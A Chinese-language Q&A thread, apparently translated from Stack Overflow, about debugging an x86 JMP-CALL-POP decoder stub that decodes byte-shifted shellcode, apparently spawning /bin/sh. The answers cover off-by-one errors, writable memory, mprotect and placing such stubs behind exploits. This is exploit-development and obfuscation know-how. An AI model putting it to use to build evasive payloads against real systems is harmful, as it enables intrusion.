这是我无法弄清楚错误的代码的一部分。我正在使用jmp-pop-call技术,我得到的是“Segmentation Fault”。试图使用GDB,但事情真的很模糊。每个字节在python中由1编码,我想要的是使用以下代码部分进行解码:
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor eax, eax
mov edx, 23
decode:
mov bl, byte[esi+eax]
dec byte[esi+eax]
cont:
cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode
call_shellcode:
call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
答案 0 :(得分:0)
由于缓存,在新CPU中使用自修改代码并不是一个好主意。这将是非常缓慢的。
在上面的代码中,我可以看到两个错误来源:
如果代码段是只读的,dec byte [esi+eax]
将失败。它取决于汇编程序/链接器。
encodedShesscode
db语句中的代码可能有误并导致分段错误。您减少了此代码的每个字节,但是代码是什么以及在更改后从问题中得到的内容是什么。
修正提示:
encodedShellcode
上设置断点并检查已解码的指令以查找问题。答案 1 :(得分:0)
mov edx, 23
你做的迭代太多了!只需用22初始化EDX。
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
使用逗号终止一行时汇编程序的行为是什么?
答案 2 :(得分:0)
如果您打算将此shellcode放在漏洞利用后面,那么源文件中定义的部分权限就不重要了。通常,可以使用nasm -f bin(或来自另一个汇编程序的类似东西)编译类似的东西,并假设代码在其中运行的内存已经是读/写/执行。
出于测试目的,您可以创建一个测试运行器,它分配一些rwx内存,在编译的代码中写入,然后跳转到它。如果上面的代码被用作测试程序,并且实际上不是shellcode前面的解码头,那么更改section属性就没问题了。
或者,一旦获得代码的位置,就可以使用mprotect / VirtualProtect并在更改编码字节之前将代码所在的页面设置为rwx。
当我为混淆代码编写解码存根时,我通常用文本部分中的数据组装解码器部分(类似于你正在做的),但是将汇编器输出设置为二进制(没有图像类型,只是组装x86字节码)。当写入rwx内存时,该输出应该正常运行。